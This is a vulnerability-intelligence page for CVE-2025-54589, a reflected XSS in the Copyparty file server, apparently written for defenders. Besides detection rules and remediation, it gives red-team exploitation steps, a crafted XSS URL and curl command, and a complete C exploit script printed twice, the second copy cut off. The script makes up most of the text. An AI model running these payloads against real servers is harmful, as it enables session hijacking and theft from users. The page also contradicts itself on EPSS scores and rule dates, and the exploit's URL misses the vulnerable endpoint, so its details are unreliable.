☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54589

CVE-2025-54589 is a reflected Cross-Site Scripting (XSS) vulnerability in Copyparty, a portable file server, affecting versions 1.
📅 PUBLISHED: 2025-07-31 13:48 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.42%
👁️
2.42% probability
60.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54589 is a reflected Cross-Site Scripting (XSS) vulnerability in Copyparty, a portable file server, affecting versions 1.18.6 and below. The vulnerability exists in the /?ru (recent uploads) endpoint, where the filter parameter is reflected directly into a <script> block without proper escaping. This allows an attacker to inject arbitrary JavaScript, which executes in the context of the victim's browser. The vulnerability can be exploited against both authenticated and unauthenticated users, making it a significant threat for session hijacking, data theft, and further attacks. Public proof-of-concept (PoC) code and a Nuclei template are available, confirming active exploitation risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Copyparty is a standalone Python-based file server distributed via GitHub and PyPI. The vulnerability affects all users of versions prior to 1.18.7. Since Copyparty is often used in internal networks or as a lightweight sharing tool, the supply chain risk is moderate. Users should verify their installed version and update immediately. No malicious packages have been identified in the PyPI ecosystem related to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): Required (R) - Victim must click a crafted link.
  • Scope (S): Unchanged (U) - Vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited data exposure.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): Low (L) - Limited impact on service availability.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the availability of public PoC code and a Nuclei template increases the risk. Attackers can craft phishing emails or malicious links to target users.

Deep Dive & Mechanics

The vulnerability is located in the /?ru endpoint, which displays recent uploads. The endpoint accepts a filter parameter to narrow down results. The server-side code directly embeds the value of this parameter into a <script> block in the HTML response without sanitization or escaping.

Vulnerable Code Flow:

  1. User navigates to http://target:3923/?ru&filter=PAYLOAD.
  2. The server reads the filter parameter.
  3. The value is inserted into a JavaScript context, e.g., var filter = "PAYLOAD";.
  4. If PAYLOAD contains </script><script>alert(1)</script>, the script block is prematurely closed, and a new script is injected.

Exploitation Scenario: An attacker crafts a malicious URL: http://target:3923/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E When a victim clicks this link, the JavaScript executes in their browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable (<=1.18.6):

# Example of vulnerable code (conceptual)
def render_recent_uploads(request):
    filter_param = request.GET.get('filter', '')
    # Directly embedded into script block without escaping
    return f'<script>var filter = "{filter_param}";</script>'

Patched (>=1.18.7):

# Example of patched code (conceptual)
import html
def render_recent_uploads(request):
    filter_param = request.GET.get('filter', '')
    # Properly escaped before embedding
    safe_filter = html.escape(filter_param, quote=True)
    return f'<script>var filter = "{safe_filter}";</script>'

The patch ensures that special characters like <, >, ", and & are converted to their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Copyparty instance (<=1.18.6) running on a target.
  • Python 3 and curl or the provided exploit code.

Step-by-Step Exploitation:

  1. Using the provided Nuclei template:

    nuclei -t CVE-2025-54589.yaml -u http://target:3923
    
  2. Using the provided C exploit code:

    • Compile the exploit:
      gcc -o exploit exploit.c -lcurl
      
    • Run against a target:
      ./exploit -i 192.168.1.100 -p 3923
      
    • The exploit sends multiple XSS payloads and checks for reflected content in the response.
  3. Manual exploitation with curl:

    curl "http://target:3923/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
    

Full Exploit Code (C):

/*
 * Author       : Byte Reaper
 * CVE          : CVE-2025-54589
 * Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
 * CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
  allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser
*/

#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>

#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED   "\e[1;31m"
#define COLOR_GRN   "\e[1;32m"
#define COLOR_YEL   "\e[1;33m"
#define COLOR_BLU   "\e[1;34m"
#define COLOR_CYN   "\e[1;36m"
#define COLOR_WHT   "\e[1;37m"
#define COLOR_PUR   "\e[1;35m"
#define PRINT_OK(fmt, ...)    print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...)   print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...)  print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...)  print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...)  print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)

int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int  portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...)
{
    va_list args;
    va_start(args, fmt);
    if (useColor)
    {
        printf("%s", color);
    }

    vprintf(fmt, args);
    if (useColor)
    {
        printf("%s", COLOR_RESET);
    }

    va_end(args);
}
void exitAssembly()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $231, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        PRINT_ERR("[-] Failed to allocate memory!\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *payloadXss[] =
{

    "</script><script>alert(1)</script>",
    "<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
    "<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] =
{
    "Error",
    "Exception",
    "Invalid",
    "XSS",
    "<script>",
    "</script>",
    "alert(1)",
    "syntax",
    "unexpected",
    "undefined",
    "NaN",
    "stack trace",
    "TypeError",
    "ReferenceError",
    "Warning",
    "Access denied",
    "eval(",
    "byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);


void auto_detect_color()
{
    if (!isatty(fileno(stdout)))
    {
        useColor = 0;
    }
}
void senR(const char *ip, int port)
{
    char full[FULL_URL];
    CURLcode res ;
    CURL *curl = curl_easy_init();
    struct  Mem response ;
    response.buffer= NULL;
    response.len = 0;
    for (int h = 0; h < number ; h++)
    {
        if (!curl)
        {
            PRINT_ERR("[-] Error Create Object Curl !\n");
            PRINT_ERR("[-] Check Your Connection\n");
            exitAssembly();

        }
        if (verbose)
        {
            PRINT_OK("==========================================\n");
            PRINT_OK("[1;33m[+] Cleaning Response...\n");
            PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
            PRINT_OK("[1;33m[+] Response Len : 0\n");
            PRINT_OK("==========================================\n");
        }
        if (curl)
        {

            char *payloadE = curl_easy_escape(curl,
                payloadXss[h],
                0);
            struct curl_slist *headers = NULL;
            if (!payloadE)
            {
                PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();
            }

            const char *proto = useHttp ? "http" : "https";
            int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
            if (len1 >= sizeof(full))
            {
                PRINT_ERR("[-] URL too long\n");
                exitAssembly();
            }
            PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
            PRINT_INFO("[+] Encode Payload Successfully.\n");
            PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
            PRINT_INFO("[+] target IP : %s\n",
                ip);
            printf("[+] Full Url : %s\n",
                full);
            printf("[+] Port : %d\n", port);
            curl_easy_setopt(curl,
                CURLOPT_URL,
                full);
            curl_free(payloadE);
            if (useC)
            {
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEFILE,
                                    cookies);
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEJAR,
                                 cookies);
            }
            curl_easy_setopt(curl,
                CURLOPT_FOLLOWLOCATION,
                1L);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEFUNCTION,
                            write_cb);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEDATA,
                                &response);
            curl_easy_setopt(curl,
                            CURLOPT_CONNECTTIMEOUT,
                            5L);
            usleep(1500000);
            curl_easy_setopt(curl,
                        CURLOPT_TIMEOUT,
                                10L);
            if (sCa)
            {
                curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
            }
            else
            {
                curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYPEER,
                    0L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
            }

            headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
            headers = curl_slist_append(headers,
                                        "Connection: keep-alive");
            char refR[120];
            int lenF  = snprintf(refR,
                sizeof(refR),
                "Referer: http://%s:%d",
                ip,
                port);
            if (lenF < 0 || (size_t)lenF >= sizeof(refR))
            {
                PRINT_ERR("[-] Len Header Referer is Long ! \n");
                response.buffer = NULL;
                response.len = 0;
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();

            }
            headers = curl_slist_append(headers, refR);
            curl_easy_setopt(curl,
                 CURLOPT_HTTPHEADER,
                 headers);
            if (verbose)
            {
                PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
                curl_easy_setopt(curl,
                                CURLOPT_VERBOSE,
                                1L);
            }
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            if (res == CURLE_OK)
            {
                PRINT_OK("-----------------------------------------------------------------\n");
                long httpCode  = 0;
                curl_easy_getinfo(curl,
                                CURLINFO_RESPONSE_CODE,
                                 &httpCode);
                PRINT_INFO("[+] Request sent successfully\e[0m\n");
                PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
                FILE *log = fopen("results.txt", "a");
                if (log == NULL)
                {
                    PRINT_ERR("[-] Error Create File !\n");
                    exitAssembly();
                }
                if (log)
                {
                    fprintf(log, "[+] Target: %s:%d | Payload: %s\n",
                             ip,
                             port,
                              payloadXss[h]);
                    fprintf(log, "[+] Response : \n%s\n",
                            response.buffer);
                    fclose(log);
                }
                if (httpCode >= 200 && httpCode < 300)
                {


                    PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
                    for (int s = 0; s < numberW ; s++)
                    {
                        if (strstr(response.buffer, wordF[s]) != NULL)
                        {
                            PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
                            PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
                            PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
                            PRINT_OK("\n======================================== [Response Server] ========================================\n");
                            printf("%s\n", response.buffer);
                            printf("[Len] : %zu\n", response.len);
                            PRINT_OK("\n==================================================================================================\n");

                        }
                    }

                }
                else
                {
                    PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
                    PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
                }


            }
            else
            {
                PRINT_ERR("[-] Error Send Request\n");
                PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitAssembly();
            }

        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}


int main(int argc,
         const char **argv)
{
    curl_global_init(CURL_GLOBAL_DEFAULT);

    printf(
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌▄▌▙▌▄▌\n"
                        "Byte Reaper\n"
    );
    int noColor = 0;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ipT,
                    "Target IP "),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verbose,
                     "Verbose Mode"),
        OPT_INTEGER('p',
            "port",
            &portT,
            "Enter Target Port"),
        OPT_STRING('a',
            "ca" ,
            &caFile,
            "Enter Name File CA\n"),
        OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
        OPT_BOOLEAN('n',
             "no-color",
             &noColor,
             "Disable colored output"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                options,
                NULL,
                0);

    argparse_parse(&argparse,
                argc,
                argv);
    if (ipT == NULL)
    {
        PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
        PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
        PRINT_ERR("[-] Exit Syscall\n");
        curl_global_cleanup();
        exitAssembly();
    };
    printf("---------------------------------------------------------------------\n\n");
    printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
    if (cookies)
    {
        useC = 1;
    }
    if (verbose)
    {
         verbose = 1;
    }
    if (!portT)
    {
        printf("[+] Default Port : %d\n", 3923);
        portT = 3923;
    }
    if (caFile)
    {
        sCa = 1;
    }
    if (useColor)
    {
        useColor = 1;
    }

    if (noColor)
    {

        useColor = 0;
    }
    if (useHttp)
    {
        useHttp = 1;
    }
    auto_detect_color();
    senR(ipT, portT);
    curl_global_cleanup();
    return 0;
 }

Blue Team (Defender)

Detection Steps:

  1. Monitor logs for requests to /?ru with suspicious filter parameters containing <script>, </script>, or encoded variants.
  2. Check for anomalous HTTP responses containing script tags in the body.
  3. Use the provided YARA/Sigma rules to scan web server logs.

Honeypot Setup:

  • Deploy a vulnerable Copyparty instance in a sandboxed environment to capture attacker behavior.
  • Monitor for requests to /?ru with filter parameter containing XSS payloads.

Indicators of Compromise (IOCs)

  • URL Pattern: /?ru&filter=<script>alert(1)</script> or URL-encoded equivalents.
  • HTTP Response Body: Contains filter": "</script><script>alert(document.domain)</script>.
  • Network Traffic: GET requests to /?ru with filter parameter containing script tags.
  • Log Entries: Web server logs showing /?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E.

Detection Engineering

YARA Rule

rule CVE_2025_54589_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against Copyparty CVE-2025-54589"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
    strings:
        $xss_payload = /filter=[^&]*<[^>]*script[^>]*>/
        $xss_response = /filter":\s*"<\/script><script>/
    condition:
        $xss_payload or $xss_response
}

Sigma Rule

title: Copyparty Reflected XSS Attempt (CVE-2025-54589)
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects attempts to exploit reflected XSS in Copyparty via the filter parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - '/?ru&filter='
            - '/?ru&filter=%3C'
            - '/?ru&filter=%3E'
    condition: selection
falsepositives:
    - Legitimate use of filter with special characters (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54589 Copyparty Reflected XSS Attempt"; flow:to_server,established; content:"/?ru&filter="; http_uri; pcre:"/filter=[^&]*<[^>]*script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2025-54589

info:
  name: Copyparty <=1.18.6 - Cross-Site Scripting
  author: s-cu-bot
  severity: medium
  description: |
    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty
    - https://secalerts.co/vulnerability/CVE-2025-54589
    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-54589
    epss-score: 0.0078
    epss-percentile: 0.73772
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2025,xss,copyparty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'filter": "</script><script>alert(document.domain)</script>'
          - 'control-panel'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200a7015c60bf7c2c9ed86ac26f2fded7ce54cffc68dbd2e46858ac6a9fb59fe9d022078a2544a45055e357454293b3d10aaae1fa011a64a40919535f468c0e868977a:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Copyparty to version 1.18.7 or later.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the filter parameter.
  3. Restrict access to the /?ru endpoint to trusted networks only.

Long-Term Measures:

  • Input Validation: Sanitize all user inputs, especially those reflected in HTML/JavaScript contexts.
  • Content Security Policy (CSP): Implement a strict CSP header to mitigate XSS impact.
  • Regular Security Audits: Conduct code reviews and penetration testing.

Workaround (if upgrade is not possible):

  • Disable the /?ru endpoint by modifying the server configuration or using a reverse proxy to block requests to that path.

Report generated by Valters IT DevSecOps & CTI Expert System

{/* [Security Hash: 1D5B912050E511C1F60C43CB] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

/*
 * Author       : Byte Reaper
 * CVE          : CVE-2025-54589
 * Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
 * CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
  allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser
*/

#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>

#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED   "\e[1;31m"
#define COLOR_GRN   "\e[1;32m"
#define COLOR_YEL   "\e[1;33m"
#define COLOR_BLU   "\e[1;34m"
#define COLOR_CYN   "\e[1;36m"
#define COLOR_WHT   "\e[1;37m"
#define COLOR_PUR   "\e[1;35m"
#define PRINT_OK(fmt, ...)    print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...)   print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...)  print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...)  print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...)  print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)

int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int  portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...)
{
    va_list args;
    va_start(args, fmt);
    if (useColor)
    {
        printf("%s", color);
    }

    vprintf(fmt, args);
    if (useColor)
    {
        printf("%s", COLOR_RESET);
    }

    va_end(args);
}
void exitAssembly()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $231, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        PRINT_ERR("[-] Failed to allocate memory!\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *payloadXss[] =
{

    "</script><script>alert(1)</script>",
    "<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
    "<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] =
{
    "Error",
    "Exception",
    "Invalid",
    "XSS",
    "<script>",
    "</script>",
    "alert(1)",
    "syntax",
    "unexpected",
    "undefined",
    "NaN",
    "stack trace",
    "TypeError",
    "ReferenceError",
    "Warning",
    "Access denied",
    "eval(",
    "byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);


void auto_detect_color()
{
    if (!isatty(fileno(stdout)))
    {
        useColor = 0;
    }
}
void senR(const char *ip, int port)
{
    char full[FULL_URL];
    CURLcode res ;
    CURL *curl = curl_easy_init();
    struct  Mem response ;
    response.buffer= NULL;
    response.len = 0;
    for (int h = 0; h < number ; h++)
    {
        if (!curl)
        {
            PRINT_ERR("[-] Error Create Object Curl !\n");
            PRINT_ERR("[-] Check Your Connection\n");
            exitAssembly();

        }
        if (verbose)
        {
            PRINT_OK("==========================================\n");
            PRINT_OK("[1;33m[+] Cleaning Response...\n");
            PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
            PRINT_OK("[1;33m[+] Response Len : 0\n");
            PRINT_OK("==========================================\n");
        }
        if (curl)
        {

            char *payloadE = curl_easy_escape(curl,
                payloadXss[h],
                0);
            struct curl_slist *headers = NULL;
            if (!payloadE)
            {
                PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();
            }

            const char *proto = useHttp ? "http" : "https";
            int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
            if (len1 >= sizeof(full))
            {
                PRINT_ERR("[-] URL too long\n");
                exitAssembly();
            }
            PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
            PRINT_INFO("[+] Encode Payload Successfully.\n");
            PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
            PRINT_INFO("[+] target IP : %s\n",
                ip);
            printf("[+] Full Url : %s\n",
                full);
            printf("[+] Port : %d\n", port);
            curl_easy_setopt(curl,
                CURLOPT_URL,
                full);
            curl_free(payloadE);
            if (useC)
            {
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEFILE,
                                    cookies);
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEJAR,
                                 cookies);
            }
            curl_easy_setopt(curl,
                CURLOPT_FOLLOWLOCATION,
                1L);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEFUNCTION,
                            write_cb);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEDATA,
                                &response);
            curl_easy_setopt(curl,
                            CURLOPT_CONNECTTIMEOUT,
                            5L);
            usleep(1500000);
            curl_easy_setopt(curl,
                        CURLOPT_TIMEOUT,
                                10L);
            if (sCa)
            {
                curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
            }
            else
            {
                curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYPEER,
                    0L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
            }

            headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
            headers = curl_slist_append(headers,
                                        "Connection: keep-alive");
            char refR[120];
            int lenF  = snprintf(refR,
                sizeof(refR),
                "Referer: http://%s:%d",
                ip,
                port);
            if (lenF < 0 || (size_t)lenF >= sizeof(refR))
            {
                PRINT_ERR("[-] Len Header Referer is Long ! \n");
                response.buffer = NULL;
                response.len = 0;
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();

            }
            headers = curl_slist_append(headers, refR);
            curl_easy_setopt(curl,
                 CURLOPT_HTTPHEADER,
                 headers);
            if (verbose)
            {
                PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
                curl_easy_setopt(curl,
                                CURLOPT_VERBOSE,
                                1L);
            }
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            if (res == CURLE_OK)
            {
                PRINT_OK("-----------------------------------------------------------------\n");
                long httpCode  = 0;
                curl_easy_getinfo(curl,
                                CURLINFO_RESPONSE_CODE,
                                 &httpCode);
                PRINT_INFO("[+] Request sent successfully\e[0m\n");
                PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
                FILE *log = fopen("results.txt", "a");
                if (log == NULL)
                {
                    PRINT_ERR("[-] Error Create File !\n");
                    exitAssembly();
                }
                if (log)
                {
                    fprintf(log, "[+] Target: %s:%d | Payload: %s\n",
                             ip,
                             port,
                              payloadXss[h]);
                    fprintf(log, "[+] Response : \n%s\n",
                            response.buffer);
                    fclose(log);
                }
                if (httpCode >= 200 && httpCode < 300)
                {


                    PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
                    for (int s = 0; s < numberW ; s++)
                    {
                        if (strstr(response.buffer, wordF[s]) != NULL)
                        {
                            PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
                            PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
                            PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
                            PRINT_OK("\n======================================== [Response Server] ========================================\n");
                            printf("%s\n", response.buffer);
                            printf("[Len] : %zu\n", response.len);
                            PRINT_OK("\n==================================================================================================\n");

                        }
                    }

                }
                else
                {
                    PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
                    PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
                }


            }
            else
            {
                PRINT_ERR("[-] Error Send Request\n");
                PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitAssembly();
            }

        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}


int main(int argc,
         const char **argv)
{
    curl_global_init(CURL_GLOBAL_DEFAULT);

    printf(
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
